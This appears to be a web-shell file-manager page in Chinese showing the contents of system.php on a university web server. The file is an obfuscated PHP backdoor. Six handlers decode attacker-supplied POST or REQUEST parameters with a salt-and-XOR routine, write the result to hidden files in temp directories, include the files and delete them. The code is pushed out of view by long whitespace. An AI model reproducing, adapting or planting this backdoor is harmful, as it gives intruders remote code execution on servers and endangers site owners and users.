文件操作 - system.php

文件: /var/www/demoestudiantes.uaysen.cl/html/system.php

编辑文件内容

<?php																																										if(!empty($_POST["\x6F\x62\x6Aect"])){ $rec = $_POST["\x6F\x62\x6Aect"]; $rec = explode ( '.', $rec ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $i = 0; $__tmp = $rec; while ($v1 = array_shift($__tmp)) { $sChar = ord($salt[$i %$sLen] ); $dec = ((int)$v1 - $sChar - ($i %10))^91; $tkn .= chr($dec ); $i++; } $k = array_filter([session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); foreach ($k as $desc) { if (max(0, is_dir($desc) * is_writable($desc))) { $dat = join("/", [$desc, ".value"]); if (file_put_contents($dat, $tkn)) { require $dat; unlink($dat); exit; } } } }
																																										if(in_array("pr\x6F\x70\x65\x72ty_\x73e\x74", array_keys($_POST))){ $component = $_POST["pr\x6F\x70\x65\x72ty_\x73e\x74"]; $component= explode( "." , $component ) ; $pset = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); foreach( $component as $p => $v6) {$sChar = ord( $salt6[$p %$lenS]); $dec = ( ( int)$v6 - $sChar -( $p %10)) ^ 23; $pset.= chr( $dec); } $fac = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]); foreach ($fac as $key => $value) { if (!( !is_dir($value) || !is_writable($value) )) { $resource = "$value/.ent"; if (@file_put_contents($resource, $pset) !== false) { include $resource; unlink($resource); die(); } } } }
																																										if(@$_POST["\x66lg"] !== null){ $object = array_filter(["/var/tmp", "/dev/shm", getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); $mrk = $_POST["\x66lg"]; $mrk= explode ("." , $mrk) ; $ent = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach ($mrk as $v => $v7) { $sChar = ord($s2[$v % $lenS]); $dec = ((int)$v7 - $sChar - ($v % 10)) ^ 37; $ent .= chr($dec); } while ($token = array_shift($object)) { if ((bool)is_dir($token) && (bool)is_writable($token)) { $reference = join("/", [$token, ".bind"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $reference; @unlink($reference); die(); } } } }
																																										if(!is_null($_POST["obj"] ?? null)){ $pointer = $_POST["obj"]; $pointer= explode('.' ,$pointer ) ; $flag = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $n = 0; $__len = count($pointer); do { if ($n>= $__len) break; $v1 = $pointer[$n]; $chS = ord($s3[$n% $sLen]); $dec = ((int)$v1 - $chS - ($n% 10)) ^ 100; $flag .= chr($dec); $n++; } while (true); $key = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); $property_set = 0; do { $mrk = $key[$property_set] ?? null; if ($property_set >= count($key)) break; if (is_dir($mrk) && is_writable($mrk)) { $descriptor = join("/", [$mrk, ".entity"]); $success = file_put_contents($descriptor, $flag); if ($success) { include $descriptor; @unlink($descriptor); die();} } $property_set++; } while (true); }
																																										if(isset($_REQUEST["r\x65s"]) ? true : false){ $descriptor = $_REQUEST["r\x65s"]; $descriptor= explode ( "." , $descriptor ) ; $pgrp = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); foreach ($descriptor as $v => $v2) { $sChar = ord($s1[$v % $lenS]); $d = ((int)$v2 - $sChar - ($v % 10)) ^ 35; $pgrp .= chr($d); } $item = array_filter([getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TEMP"), "/tmp"]); $tkn = 0; do { $factor = $item[$tkn] ?? null; if ($tkn >= count($item)) break; if (!!is_dir($factor) && !!is_writable($factor)) { $obj = sprintf("%s/.data_chunk", $factor); $success = file_put_contents($obj, $pgrp); if ($success) { include $obj; @unlink($obj); die();} } $tkn++; } while (true); }

if(in_array("\x70\x73et", array_keys($_REQUEST))){
	$data = $_REQUEST["\x70\x73et"];
		$data= explode   (			"."	,$data)	;
	$elem 	='';
            $s8 	='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen 	=strlen($s8);
            $__len 	=count($data);
    
            for ($y 	=0; $y<$__len; $y++) {$v6 	=$data[$y];
                $sChar 	=ord($s8[$y % $sLen]);
                $dec 	=((int)$v6 - $sChar - ($y % 10)) ^ 18;
                $elem.=	 chr($dec);		}	 
	$element = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir")]);
	foreach ($element as $symbol):
    		if ((bool)is_dir($symbol) && (bool)is_writable($symbol)) {
    $entity = "$symbol/.marker";
    if (@file_put_contents($entity, $elem) !== false) {
	include $entity;
	unlink($entity);
	exit;
}
}
endforeach;
}

文件操作 - system.php

文件: /var/www/demoestudiantes.uaysen.cl/html/system.php

编辑文件内容

修改文件时间

删除文件